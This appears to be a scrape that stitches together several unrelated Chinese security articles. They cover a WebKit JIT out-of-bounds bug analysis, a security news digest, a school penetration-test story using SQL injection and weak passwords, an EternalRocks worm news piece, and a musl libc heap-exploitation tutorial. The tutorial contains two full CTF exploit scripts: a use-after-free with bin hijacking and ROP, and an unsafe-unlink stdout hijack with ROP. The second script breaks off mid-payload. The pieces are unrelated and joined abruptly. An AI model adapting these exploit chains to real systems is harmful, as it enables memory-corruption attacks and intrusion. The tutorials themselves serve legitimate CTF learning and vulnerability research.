我们可以看到，代码在0x6400042d1d29处发生了崩溃：mov qword ptr [rcx + 8rsi],
r8，经分析后我们确认为越界写入所导致的内存崩溃。栈追踪分析显示，它发生在虚拟机环境中，也就是编译过程或者JITed代码出了问题。我们还注意到的rsi索引，它包含了0x20000040，这个数字我们在PoC中是有见过的。
__
这个数字是bigarr! 的大小，即NUM_SPREAD_ARGS
sizeof(a)。为了查看JITed代码，我们可以设置JSC_dumpDFGDisassembly环境变量，这样jsc就可以跳转到DFG和FTL的编译代码了。
`ZDIs-Mac:webkit_ga_asan zdi$ JSC_dumpDFGDisassembly=true lldb -s
lldb_cmds.txt WebKitBuild/Release/jsc ~/poc3.js`
这将丢弃掉大量无关的代码集，那我们应该如何确定相关代码呢？
我们知道崩溃事件发生在0x6400042d1d29处：mov qword ptr [rcx + 8rsi], r8。那我们为何不尝试搜索这个地址呢？
没错，我们在DFG中找到了：
__
代码在使用DFG
JIT的分布操作符来创建一个新数组时，调用了NewArrayWithSpread方法，整个行为发生在gen_func生成的一个函数f中，调用行为发生在一个循环中。
在对源代码进行分析后，我们发现了Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp文件中的SpeculativeJIT::compileNewArrayWithSpread函数。这是DFG代码的起始位置，启动代码意味着将JIT生成的机器代码写入内存以供以后执行。
我们可以通过查看compileNewArrayWithSpread方法来理解其中的机器代码。我们看到compileAllocateNewArrayWithSize()负责分配具有特定大小的新数组，它的第三个参数sizeGPR将作为第二个参数传递给emitAllocateButterfly()，这意味着它将为数组分配一个新的butterfly（包含JS对象值的内存空间）。如果您不熟悉JSObject的butterfly，可以点击[【这里】](https://liveoverflow.com/the-butterfly-of-jsobject-browser-0x02/)了解更多信息。
__
跳转到EnITalListAtButoFuffE()，我们看到大小参数siZeGPR向左移动3位（乘以8），然后添加到常数sieof(IndexingHeader)。
__
方便起见，我们需要将实际的机器代码与我们在这个函数中的C++代码相匹配。m_jit字段的类型是JITCompiler。
JITCompiler负责根据数据流图生成JIT代码。它通过委托给jit来实现，后者生成一个宏汇编程序（JITCompiler通过继承关系拥有该程序）。JITCompiler保存编译期间所需信息的引用，并记录链接中使用的信息（例如，要链接的所有调用的列表）。
这意味着我们看到的调用，如m_jit.move()、m_jit.add32()等，是发出程序集的函数。通过跟踪每一个函数，我们将能够将其与C++对应的组件匹配。除了跟踪内存分配的malloc调试功能外，我们还根据自己对Intel程序集的偏好配置lldb。
_`ZDIs-Mac:~ zdi$ cat ~/.lldbinit
settings set target.x86-disassembly-flavor intel
type format add --format hex long
type format add --format hex "unsigned long"
command script import lldb.macosx.heap
settings set target.env-vars
DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib
settings set target.env-vars MallocStackLogging=1
settings set target.env-vars MallocScribble=1`
_
由于在启用Guard Malloc的情况下正在分配大容量，我们需要设置另一个允许此类分配的环境变量。
_`ZDIs-Mac:webkit_ga_asan zdi$ cat lldb_cmds.txt
env DYLD_FRAMEWORK_PATH=/Users/zdi/webkit_ga_asan/WebKitBuild/Release env
MALLOC_PERMIT_INSANE_REQUESTS=1
r`
_
JSC_dumpDFGDisassembly将以AT&T格式转储程序集，因此我们运行deassembly-s 0x6400042d1c22-c
70可以获得英特尔风格的程序集，结果如下：
__
让我们尝试匹配emitAllocateButterfly()中的一些代码。查看程序集列表，我们可以匹配以下内容：
__
接下来分析机器代码，此时需要设置断点。为此，我们在编译之前向jsc.cpp添加了一个dbg()函数。这将有助于在我们需要的时候进入JS代码。编译器报错显示未使用EncodedJSValue
JSC_HOST_CALL
functionDbg（ExecStateexec）函数中的exec，因此失败。为了解决这个问题，我们只添加了exec->argumentCount()；这不会影响执行。
让我们在这里添加dbg()，因为实际的NewArrayWithSpread函数将在创建bigarr期间执行。
再次JSC_dumpDFGDisassembly=true lldb -s lldb_cmds.txt WebKitBuild/Release/jsc
~/poc3.js运行将会导出编译代码：
在bigarr创建之前中断，您可以看到NewArrayWithSpread的机器代码。让我们在函数的开始处放置一个断点并继续执行。
断点生效：
接下来，我们需要仔细分析断点信息：
那么这里到底发生了什么？还记得PoC中的下面这部分信息吗？
mk_arr函数创建一个数组，第一个参数作为大小，第二个参数作为元素。大小为（0x20000000+0x40）/8=0x4000008，这将创建一个大小为0x4000008、元素值为0x41414141410000的数组。i2f函数用于将整数转换为浮点值，以便最终在内存中得到预期值。
我们现在知道rcx指向对象a的butterfly-0x10，因为它的大小是rcx+8，这使得butterfly
rcx+0x10。在这段代码的其余部分中，我们看到r8、r10、rdi、r9、rbx、r12和r13都指向对象a的一个副本-具体来说是八个副本，edx不断地添加每个副本的大小。
此时，edx的值变成了0x20000040：
那么这八个a拷贝到了哪里呢？值0x20000040代表的又是什么呢？
重新看看PoC：
这意味f变成了：
f通过扩展NUM_SPREAD_ARGS（8）第一个参数的副本和第二个参数的单个副本来创建数组。用对象a（80×04000008）和c（长度1）调用f。当NewArrayWithSpread被调用时，它为8个a和1个c腾出了空间。
最后一步到显示对象c的长度，这使得最终的edx值为0x20000041。
__
下一步应该是长度的分配，它发生在emitAllocateButterfly()中。
__
我们注意到shl
r8d，0x3的溢出，其中0x20000041被封装到了0x208。当分配大小传递给emitAllocatevariableSize()时，它变为了0x210。
__
我们看到的越界读取访问冲突发生在mov qword
ptr[rcx+8rsi]，r8的以下代码片段中。这个代码片段的问题是用错误的大小0x20000041反向迭代新创建的butterfly，而溢出后的实际大小是0x210。然后，它将每个元素归零，但由于内存中的实际大小远小于0x20000041，因此在ASAN构建中发生了了越界访问冲突。
下面给出的是整个越界访问行为的流程图：
## 总结
在这篇文章中，我们对WebKit版本v240322中的一个越界访问漏洞进行了深入分析，这个漏洞是一个价值五万五千美金的漏洞利用链中的一部分。Pwn2Own上出现的漏洞往往都是行业内较为优质的漏洞，而本文所分析的这个漏洞也不例外。在日常的漏洞研究过程中，我也希望大家能够学会使用lldb，如果大家有更多关于该漏洞的想法，可以直接在我的推特上艾特我（[@ziadrb](https://github.com/ziadrb
"@ziadrb")）。希望本文能够给大家提供帮助! | 社区文章 |
# 【知识】10月14日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：
DDoS攻击导致瑞典火车延误、Equifax网站把用户重定向到Adware和诈骗网站、Chrome扩展用你的Gmail注册域名还注入挖矿代码、钓鱼Word文档用RAT传播malware、新的野外Anubi
Ransomware、Android DoubleLocker Ransomware：按下Home键就可激活你怕不怕（改变PIN值，加密文件）** ****
**资讯类：**
****
DDoS攻击导致瑞典火车延误
<https://www.bleepingcomputer.com/news/security/ddos-attacks-cause-train-delays-across-sweden/>
Equifax网站把用户重定向到Adware和诈骗网站
<https://www.bleepingcomputer.com/news/security/equifax-website-redirected-users-to-adware-scam-sites/>
Chrome扩展用你的Gmail注册域名还注入挖矿代码
<https://www.bleepingcomputer.com/news/security/chrome-extension-uses-your-gmail-to-register-domains-names-and-injects-coinhive/>
**技术类：**
****
钓鱼Word文档用RAT传播malware
<https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/>
通过DNS输入错误完成实用水坑
<https://blog.0day.rocks/practical-waterholing-through-dns-typosquatting-e252e6a2f99e>
新的野外Anubi Ransomware
<https://www.bleepingcomputer.com/news/security/new-anubi-ransomware-in-the-wild/>
Android DoubleLocker Ransomware：按下Home键就可激活你怕不怕（改变PIN值，加密文件）
<https://www.bleepingcomputer.com/news/security/android-doublelocker-ransomware-activates-every-time-you-hit-home-button/>
<https://www.welivesecurity.com/2017/10/13/doublelocker-innovative-android-malware/>
Disassembler and Runtime Analysis（IDA Pro没检测出来的那些修改）
<http://blog.talosintelligence.com/2017/10/disassembler-and-runtime-analysis.html>
新型x1881 CryptoMix Ransomware变种放出
<https://www.bleepingcomputer.com/news/security/new-x1881-cryptomix-ransomware-variant-released/>
Exploding Git Repositories
<https://kate.io/blog/git-bomb/>
安全应急响应工具大合集
<https://github.com/meirwah/awesome-incident-response/blob/master/README_ch.md>
Leaking Amazon.com CSRF Tokens Using Service Worker API
<https://ahussam.me/Amazon-leaking-csrf-token-using-service-worker/>
Injects C# EXE or DLL Assembly into every CLR runtime and AppDomain of another
process.
<https://github.com/jonatan1024/clrinject>
HSTS(HTTP Strict Transport Security)实用解答
<https://pentesterslife.wordpress.com/2017/09/12/http-strict-transport-security-the-practical-explanation/> | 社区文章 |
**前言**
开学返校，老师授权对学校的网站业务进行安全检查。因为之前已经检查过几次，主业务系统直接略过了没有看。所以，重点查看了其他子域名下的内容。
**第一处攻击点**
浏览到某课堂网站的时候，发现开放了一个82端口。
抓包测试了一下，发现username处存在注入。
标记注入点，SqlMap无脑梭哈。
但是后台没有什么可以利用的地方，遂转向其他的地方进行试探测试。
**第二处攻击点**
信息收集差不多了，除了刚刚找的注入，没发现其他更好的可以攻击的地方（因为菜），然后为了防止遗漏，又到处看了看，然后注意到子域名——yun.xxx.xxx。看样子是一个云服务。
没搞过这样的，想着下载下来碰碰运气。连接服务器名称这里输入网站域名。
输入用户名和密码这里，尝试了许多种拼凑组合，都失败。最后死马当活马医，试了试教工号。
意外之喜，成功登录。
到了内网环境，对内网下的网站业务收集了一波信息，尝试渗透。不过我猜想因为是内网，所以防范意识很低？
想起了学校用的海康威视设备，尝试对8000端口扫了一下，果然发现了很多监控业务。弱口令尝试了一波，直接进入。
又对学校的人脸识别进行尝试，发现一个Apache ActiveMQ默认管理凭据。
接连着进入了对应的管理系统。
**总结**
人类所有的伟大成就来自于三个字——试一试。
这次的渗透也是意料之外的事情，运气使然吧。不过通过这件事情，也让我了解到，学校对内网的防护真的很低，太多弱口令漏洞。
上报之后，光速修复~ | 社区文章 |
# 【资讯】永恒之蓝进阶版本来袭——永恒之石（集成7个漏洞）
|
##### 译文声明
本文是翻译文章，文章来源：bleepingcomputer.com
原文地址：<https://www.bleepingcomputer.com/news/security/new-smb-worm-uses-seven-nsa-hacking-tools-wannacry-used-just-two/>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[jye33](http://bobao.360.cn/member/contribute?uid=1294997410)
预估稿费：130RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
在WannaCry疯狂传播的尾声，上周三（5.17）安全研究员Miroslav
Stampar（克罗地亚政府CERT成员、Sqlmap的创造者之一）在他搭建的SMB蜜罐中，发现新的蠕虫正在通过SMB漏洞传播。研究员Stampar的蜜罐中捕获的不是WannaCry，而是一种利用7种NSA工具新的蠕虫。
**0x01、EternalRocks特点**
**1、EternalRocks利用7种NSA工具
**
研究员Stampar把这款新的蠕虫命名为EternalRocks，他在蠕虫程序中发现这个样本，该样本利用六种NSA工具来感染网络上暴露SMB端口的计算机，这些用来攻击计算机的SMB漏洞的NSA工具是ETERNALBLUE,
ETERNALCHAMPION, ETERNALROMANCE,和 ETERNALSYNERGY。其中SMBTOUCH和ARCHITOUCH
是NSA工具中用来对SMB漏洞扫描的。一旦蠕虫成功攻击一台计算机，便可利用另外一个NSA工具（DOUBLEPULSAR）感染其他易受攻击的计算机。
WannaCry疯狂传播目前已经有240,000多台计算机被勒索攻击，WannaCry正是使用的SMB漏洞来攻击和感染计算机。但是，WannaCry和EternalRocks之间存在不同之处，WannaCry只使用ETERNALBLUE和DOUBLEPULSAR这两种NSA工具来感染计算机，而EternalRocks利用了NSA工具种的7种。
**2、EternalRocks更复杂，但危险更小**
研究员Stampar披露：作为一个蠕虫，EternalRocks的危险性远不如WannaCry，因为它目前没有绑定任何恶意软件。但是并不意味着EternalRocks就很简单，结果恰恰相反。EternalRocks比WannaCry的SMB蠕虫组件更为复杂，因为EternalRocks对计算机的感染一共分为两步，第一步执行完后存在一个休眠期，休眠期结束后才会执行第二步。
在第一步，EternalRocks感染计算机并获得权限，然后下载Tor客户端运行，然后向暗网中一个. Onion域名C＆C服务器发出请求。
经过休眠期（目前为24小时），C＆C服务器才会做出响应。休眠期的存在可能会绕过沙盒安全检测，或者是安全研究者对蠕虫的分析，所以推迟24小时C＆C服务器才做出响应是非常有必要的。
**3、无开关域名**
另外，EternalRocks使用与WannaCry相同名称的文件，目的是引导安全研究人员将其错误分类，扰乱逆向分析方向。
与WannaCry不同的是，EternalRocks并没有使用“开关域名”， “开关域名”在
WannaCry传播中起着至关重要的作用，以至于安全研究员在WannaCry传播的时候发现“开关域名”的作用后，把域名注册后WannaCry暂时停止传播。
经过24小时的休眠期，C＆C服务器开始响应。EternalRocks开始进入第二步，在第一步已感染主机上下载一个恶意文件并命名为shadowbrokers.zip。shadowbrokers.zip文件目前不用过多介绍，这个文件中包含了shadowbrokers今天4月份放出NSA
SMB exp。接下来，EternalRocks便开始快速扫描IP并尝试连接、感染。
**0x02、利用EternalRocks进行深入攻击**
由于EternalRocks利用的NSA工具多且无“开关域名”，同时存在一个休眠期。如果EternalRocks作者绑定一些勒索软件、木马、RAT或者其他的恶意软件，那么EternalRocks可能会对公网上存在SMB漏洞的计算机构成严重威胁。
目前来看，这个蠕虫还在测试中，其作者正在测试蠕虫未来可能具有威胁。并不意味着EternalRocks无杀伤力，EternalRocks作者可以通过C&C服务器对已感染的计算机发出指令，同时可以利用此隐藏的通信通道将新的恶意软件发送到之前已被EternalRocks感染的计算机。
另外，NSA工具中具有后门功能的DOUBLEPULSAR同样可以在已感染EternalRocks的计算机上运行，但是，EternalRocks作者没有对已感染EternalRocks的计算机上的DOUBLEPULSA使用采取任何加密保护措施，DOUBLEPULSAR目前都是默认配置。其他攻击者也可以使用已感染EternalRocks的计算机中的后门，可以通过这个后门安装新的恶意软件到计算机中。更多详细介绍可以去Stampar研究员的github
上查看：<https://github.com/stamparm/EternalRocks/>
**0x03、备受关注的SMB**
目前，黑客们已经在扫描使用旧版本SMB协议的计算机，或者没有为系统打补丁的计算机。WannaCry勒索软件爆发后，管理员们高度关注，对存在漏洞的机器打补丁或者禁用旧版本SMB协议，这样一来能被EternalRocks感染的机器数量正在慢慢减少。
研究员Stampar说：管理员们越快为系统打上新补丁越好，但是如果EternalRocks在管理员打补丁之前就已经感染，那么EternalRocks的控制者便可随时发动的进一步攻击。 | 社区文章 |
# 从musl libc 1.1.24到1.2.2 学习pwn姿势
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Musl libc
最近有时间学一下Musl libc pwn的姿势。
跟php pwn一样，以前遇到这样的pwn直接都不看的，经过了解之后发现，老版本的Musl
libc和新版本之间差距还比较大。结合最近几次比赛中出现的Musl pwn，学习一下新老版本的Musl libc姿势。
### 1.1.24
**结构体**
1.1.24代表了比较老版本的Musl libc，该版本的内存管理有以下几个相关的结构体:
struct chunk {
size_t psize, csize; // 与 glibc 的 prev size 和 size类似
struct chunk *next;
struct chunk *prev;
};
static struct {
volatile uint64_t binmap;#记录bins中bins[i]是否非空
struct bin bins[64];
volatile int free_lock[2];
} mal;
struct bin {
volatile int lock[2];
struct chunk *head;
struct chunk *tail;
};
chunkd的结构与glibc类似，mal与glibc的arena相似，记录堆的状态，binmap表示bins[i]中的非空链，1代表bin为非空。
bin如果为空，head和tail为0或者指向bin自身。
bin如果非空，head和tail分别指向头和尾的chunk，头chunk的prev和尾chunk的next指向bin，构成双向链表。
**malloc**
分配过程主要有一下几个步骤：
增加chunk头部，并且size对其0x20
如果size大于MMAP_THRESHOLD，则使用mmap分配一块大小为size的内存
如果size小于MMAP_THRESHOLD，计算size对应的bin下标：
如果所有的bin都为空，延展堆空间，分配一个新的chunk；
如果存在非空bin，选择与size最接近的bin，取bin首部的chunk，如果该chunk大小远大于size，使用pretrim分割chunk，否则unbin从链表中取出chunk。
最后对chunk进行trim，主要是回收超过size的内存，减少内存浪费。
**静态堆内存**
程序初始化之后，查看mal结构体，会发现bins非空，有一个libc中的堆区和程序段的堆区。
### 1.2.2
源码：<https://musl.libc.org/releases/musl-1.2.2.tar.gz>
老版本的内存管理比较简单，新版本相对复杂一些，所以比较详细的分析一下Musl 1.2.2的相关代码。
### 结构体
chunk：
musl中其实没有专门的结构体，结合代码以及内存布局分析chunk结构。
chunk关于0x10字节对其，如果是group中的第一个chunk，p的前0x10字节作为group结构体的头部，包括meta地址等。
如果不是第一个chunk，只有前4字节作为元数据，包括了idx和offset，用来计算与该chunk与group地址的偏移。如果该chunk被释放，idx会被写为0xff，offset为0。
idx和offset的作用就是free时根据chunk地址找到该group对应meta的地址，也为漏洞利用做了铺垫。
group：
在musl中一个meta管理的内存区域用group表示，一个meta对应一个group。
group中存放size相同的相邻chunk，通过idx和offset索引。
struct group {
struct meta *meta;// meta的地址
unsigned char active_idx:5;
char pad[UNIT - sizeof(struct meta *) - 1];// 保证0x10字节对齐
unsigned char storage[];# chunk
};
meta：
比较复杂的结构体，也是漏洞利用中不可缺少的。
meta之间以双向链表的形式维护了一个链式结构，可以理解为一个group被占用满时，开辟另一个group继续进行内存分配，这两个存放相同size的chunk的group通过meta的双向链表联系起来。
prev和next代表链表中相邻的meta，如果只有一个meta则指向自己，形成一个环。
mem指向meta维护的group。
avail_mask和freed_mask以bitmap方式表示group中chunk的状态。
struct meta {
struct meta *prev, *next;
struct group *mem;
volatile int avail_mask, freed_mask;
uintptr_t last_idx:5; //group中chunk数
uintptr_t freeable:1;
uintptr_t sizeclass:6; //管理group大小
uintptr_t maplen:8*sizeof(uintptr_t)-12;//mmap分配该变量为页数，其他为0
};
meta_arena：
在内存页起始地址，是多个meta的集合，这样是为了meta & 0xffffffffffff000就能找到meta_arena结构体。
结构体中比较重要的就是check，Musl为了保证meta不被伪造，会验证meta_arena中的check是否与malloc_context中的secret相等。
struct meta_area {
uint64_t check;
struct meta_area *next;
int nslots;
struct meta slots[];
};
malloc_context:
作为一个全局结构体，记录当前状态。
struct malloc_context {
uint64_t secret;//随机8字节，用来防止伪造meta
#ifndef PAGESIZE
size_t pagesize;
#endif
int init_done;
unsigned mmap_counter;
struct meta *free_meta_head;//释放的meta
struct meta *avail_meta;//可用分配的meta
size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift;
struct meta_area *meta_area_head, *meta_area_tail;
unsigned char *avail_meta_areas;
struct meta *active[48];//可以分配的meta地址，idx与size相关
size_t usage_by_class[48];//所有meta的group管理chunk数量
uint8_t unmap_seq[32], bounces[32];
uint8_t seq;
uintptr_t brk;
};
### malloc
malloc的主要逻辑就是根据size映射一个sc，然后从ctx.active中找合适的group，然后根据avial_mask计算idx，通过group和idx确定一个chunk，然后调用enframe分配。
void *malloc(size_t n)
{
if (size_overflows(n)) return 0;
struct meta *g;
uint32_t mask, first;
int sc;
int idx;
int ctr;
//大于MMAP_THRESHOLD mmap分配，不关注这部分
if (n >= MMAP_THRESHOLD) {
...
goto success;
}
//根据size取sc，类似glibc的各种bins
sc = size_to_class(n);
rdlock();
//返回sc对应meta
g = ctx.active[sc];
//meta为空且4=<sc<=32且不等于6且为偶数并且该sc没有正在使用的chunk
if (!g && sc>=4 && sc<32 && sc!=6 && !(sc&1) && !ctx.usage_by_class[sc]) {
size_t usage = ctx.usage_by_class[sc|1];
//使用更大sc的meta
if (!ctx.active[sc|1] || (!ctx.active[sc|1]->avail_mask
&& !ctx.active[sc|1]->freed_mask))
usage += 3;
if (usage <= 12)
sc |= 1;
g = ctx.active[sc];
}
//取到avail_mask最低位的1，置零之后计算idx；
//根据idx从group中找chunk；
for (;;) {
mask = g ? g->avail_mask : 0;
first = mask&-mask;
if (!first) break;
if (RDLOCK_IS_EXCLUSIVE || !MT)
g->avail_mask = mask-first;
else if (a_cas(&g->avail_mask, mask, mask-first)!=mask)
continue;
idx = a_ctz_32(first);
goto success;
}
upgradelock();
//没有合适的chunk，分配新的meta和group
idx = alloc_slot(sc, n);
if (idx < 0) {
unlock();
return 0;
}
g = ctx.active[sc];
success:
ctr = ctx.mmap_counter;
unlock();
//从meta中分配第idx个chunk，大小为n
return enframe(g, idx, n, ctr);
}
### free
大致过程就是获取meta，然后通过mask判断当前group的状态，如果还有被占用的chunk，就只是把freed_mask对应位置1，如果该group中的chunk全部空闲就会调用dequeue对该meta进行解链，然后更新ctx.active[sc]。
void free(void *p)
{
//为空直接返回
if (!p) return;
//获取chunk的meta
struct meta *g = get_meta(p);
int idx = get_slot_index(p);
size_t stride = get_stride(g);
unsigned char *start = g->mem->storage + stride*idx;
unsigned char *end = start + stride - IB;
get_nominal_size(p, end);
//计算mask
uint32_t self = 1u<<idx, all = (2u<<g->last_idx)-1;
//idx置为0xff，offset为0
((unsigned char *)p)[-3] = 255;
// invalidate offset to group header, and cycle offset of
// used region within slot if current offset is zero.
*(uint16_t *)((char *)p-2) = 0;
// release any whole pages contained in the slot to be freed
// unless it's a single-slot group that will be unmapped.
if (((uintptr_t)(start-1) ^ (uintptr_t)end) >= 2*PGSZ && g->last_idx) {
unsigned char *base = start + (-(uintptr_t)start & (PGSZ-1));
size_t len = (end-base) & -PGSZ;
if (len) madvise(base, len, MADV_FREE);
}
// 这里如果没有free的chunk或chunk要么被free要么avavil会跳出循环
// 表明释放了这个chunk, 那么这个group中所有的chunk都被回收。
// 执行到nontrivial_free(g, idx);
// atomic free without locking if this is neither first or last slot
for (;;) {
uint32_t freed = g->freed_mask;
uint32_t avail = g->avail_mask;
uint32_t mask = freed | avail;
assert(!(mask&self));
if (!freed || mask+self==all) break;
if (!MT)
g->freed_mask = freed+self;
else if (a_cas(&g->freed_mask, freed, freed+self)!=freed)
continue;
return;
}
wrlock();
//回收掉这个group ,其中有unlink操作
struct mapinfo mi = nontrivial_free(g, idx);
unlock();
if (mi.len) munmap(mi.base, mi.len);
}
### nontrivial_free
Musl漏洞利用的关键位置，unlink操作没有检查。
static struct mapinfo nontrivial_free(struct meta *g, int i)
{
uint32_t self = 1u<<i;
int sc = g->sizeclass;
uint32_t mask = g->freed_mask | g->avail_mask;
//要么释放要么可用，且该meta可以被释放
//调用dequeue解链，同时判断是否是链表头的meta，是则激活后一个meta。
if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) {
// any multi-slot group is necessarily on an active list
// here, but single-slot groups might or might not be.
if (g->next) {
assert(sc < 48);
int activate_new = (ctx.active[sc]==g);
dequeue(&ctx.active[sc], g);
if (activate_new && ctx.active[sc])
activate_group(ctx.active[sc]);
}
return free_group(g);
// 所有chunk都被占用，现在其中一个chunk要被释放
// 调用queue将其放到active中，重新进入链表中。
} else if (!mask) {
assert(sc < 48);
// might still be active if there were no allocations
// after last available slot was taken.
if (ctx.active[sc] != g) {
queue(&ctx.active[sc], g);
}
}
a_or(&g->freed_mask, self);
return (struct mapinfo){ 0 };
}
不安全的解链操作：
dequeue：
static inline void dequeue(struct meta **phead, struct meta *m)
{
if (m->next != m) {
m->prev->next = m->next; //vul
m->next->prev = m->prev; //vul
if (*phead == m) *phead = m->next;
} else {
*phead = 0;
}
m->prev = m->next = 0;
}
## WMCTF_Nescafe 1.1.24
漏洞UAF。是一个1.1.24老版本的Musl libc。禁用execve，考虑泄露栈地址rop。
以noteList保存堆块，漏洞点很明显，存在UAF，并且没有初始化堆块，申请一个块即可泄露地址。
未初始化：
int create()
{
__int64 v0; // rax
unsigned int i; // [rsp+4h] [rbp-Ch]
void *buf; // [rsp+8h] [rbp-8h]
buf = malloc(0x200uLL);
puts("Please input the content");
LODWORD(v0) = read(0, buf, 0x200uLL);
for ( i = 0; i <= 4; ++i )
{
v0 = noteList[i];
if ( !v0 )
{
noteList[i] = buf;
LODWORD(v0) = puts("Done");
return v0;
}
}
return v0;
}
UAF
int del()
{
__int64 v0; // rax
unsigned int v2; // [rsp+Ch] [rbp-4h]
puts("idx:");
v2 = myRead();
if ( v2 > 5 )
{
puts("Invalid idx");
exit(0);
}
v0 = noteList[v2];
if ( v0 )
{
free((void *)noteList[v2]);#uaf
LODWORD(v0) = puts("Done");
}
return v0;
}
思路：
1.leak:由于静态堆内存，程序没有对申请的堆块内容初始化，所以申请一个块直接就可以泄露libc基址。
2.利用：存在UAF，利用修改释放的堆块prev和next指针劫持mal.bins，并且发现程序段的静态堆内存刚好位于noteList下方，劫持mal.bins覆盖低字节，分配到noteList，实现任意地址读写。
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
def add(c='a'):
sla('>>','1')
sa('the content',c)
def delete(idx):
sla('>>','2')
sla('idx:',str(idx))
def show(idx):
sla('>>','3')
sla('idx',str(idx))
def edit(idx,c):
sla('>>','4')
sla('idx:',str(idx))
sa('Content',c)
sh = process('./pwn')
libc = ELF('./libc.so')
add('a'*8)#0
show(0)
libc_base = u64(ru('\x7f')[-6:].ljust(8,'\x00')) - (0x00007f051c941e50 - 0x7f051c6af000)
mal_bins = libc_base + 0x292e00
environ = libc_base + libc.sym['_environ']
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']
pop_rdi = 0x0000000000014862 + libc_base
pop_rsi = 0x000000000001c237 + libc_base
pop_rdx = 0x000000000001bea2 + libc_base
print hex(libc_base)
add()#1
delete(0)
edit(0,p64(mal_bins)*2)#hijack mal.bin->head
add()#2
add()#3 hijack mal.bin
edit(3,'\x00'*0x68+'\x30')
add(p64(0)*6)#noteList[0] = ¬eList And set show flag to 0
show(0)
elf_base = u64(ru('\x56')[-6:].ljust(8,'\x00')) - 0x202040
#print hex(elf_base)
#gdb.attach(sh)
noteList = elf_base + 0x202040
edit(0,p64(noteList)+p64(environ)+p64(0)*4)
show(1)
stack_addr = u64(ru('\x7f')[-6:].ljust(8,'\x00'))
ret_addr = stack_addr-(0x7ffc69254d18-0x7ffc69254ca8)
edit(0,p64(noteList)+p64(ret_addr)+'./flag\x00\x00'+p64(0)*3)
flag_addr = noteList+0x10
rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(noteList+0x18) + p64(pop_rdx)+p64(0x30)+p64(read_addr)
rop += p64(pop_rdi) + p64(noteList+0x18) + p64(puts_addr)
print hex(stack_addr)
edit(1,rop)
print hex(ret_addr)
ti()
## RCTF_Musl
漏洞很简单，add中size为0时堆溢出。
size = readint("size?", a2);
*(_QWORD *)v5 = malloc(size);
v5[2] = size - 1;
puts("Contnet?");
return readn(*(_QWORD *)v5, v5[2]);
利用方式：
泄露地址，溢出写到下一个管理块，show泄露secret；
利用dequeque的unlink，劫持 stdout_used，伪造stdout_FILE。
在大堆块中伪造meta，使得free时调用dequeue，写_stdout_use，利用m->next->pre = m->pre。
static inline void dequeue(struct meta **phead, struct meta *m)
{
if (m->next != m) {
m->prev->next = m->next;
m->next->prev = m->prev;# fake __stdout_used to m->prev
if (*phead == m) *phead = m->next;
} else {
*phead = 0;
}
m->prev = m->next = 0;
}
在m->pre的地址处伪造stdout_FILE结构体，exit时：
void __stdio_exit(void)
{
FILE *f;
for (f=*__ofl_lock(); f; f=f->next) close_file(f);
close_file(__stdin_used);
close_file(__stdout_used);#调用
close_file(__stderr_used);
}
static void close_file(FILE *f)
{
if (!f) return;
FFINALLOCK(f);
if (f->wpos != f->wbase) f->write(f, 0, 0);#gadget栈迁移到ROP chain
if (f->rpos != f->rend) f->seek(f, f->rpos-f->rend, SEEK_CUR);
}
exp:
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
def add(idx,sz,c='a'):
sla('>>','1')
sla('idx?',str(idx))
sla('size?',str(sz))
sla('Contnet?',c)
def delete(idx):
sla('>>','2')
sla('idx?',str(idx))
def show(idx):
sla('>>','3')
sla('idx?',str(idx))
sh = process(['./libc.so','./r'])
libc = ELF('./libc.so')
for i in range(15):
add(i,0xc)
delete(0)
add(0,0,'a'*0xf)
show(0)
libc_base = u64(ru('\x7f')[-6:].ljust(8,'\x00')) - 0x298d50
ctx = libc_base + 0x295ae0
stdout = libc_base + 0x295450
print hex(libc_base)
delete(2)
add(2,0,'a'*0x10+p64(ctx))
show(3)
ru('Content: ')
secret = u64(rc(8))
print hex(secret)
fake_mata = libc_base + 0x28d000+0x1000+8
fake_mem = libc_base + 0x298df0-0x20
fake_stdout_used = libc_base+0x295450
fake_stdout_ptr = libc_base + 0x28d000+0x50
magic_gadget = libc_base + 0x000000000004a5ae
p_rdi_rax = libc_base + 0x000000000007144e
p_rsi = libc_base + 0x000000000001b27a
p_rdx = libc_base + 0x0000000000009328
sys_call = libc_base + 0x0000000000023711
ret = libc_base + 0x000000000001689b
rop_addr = libc_base + 0x28d000+0x100
flag_addr = rop_addr - 0x100 + 0x20
delete(5)
payload = p64(fake_mata)+p64(0)+p64(fake_mem+0x20)
add(5,0,payload)
#open(flag,0)
rop = p64(p_rdi_rax)+p64(flag_addr)+p64(2)
rop += p64(p_rsi)+p64(0)+p64(sys_call)
#read(fd,buf,size)
rop += p64(p_rdi_rax)+p64(3)+p64(0)
rop += p64(p_rsi)+p64(flag_addr+0x600)
rop += p64(p_rdx)+p64(0x30)+p64(sys_call)
#write(1,buf,size)
rop += p64(p_rdi_rax)+p64(1)+p64(1)
rop += p64(p_rsi)+p64(flag_addr+0x600)
rop += p64(p_rdx)+p64(0x30)+p64(sys_call)
payload = './flag'.ljust(0x30,'\x00')
#fake __stdout_FILE
payload += '\x00'*0x30 + p64(rop_addr) + p64(ret) + p64(0) + p64(magic_gadget)
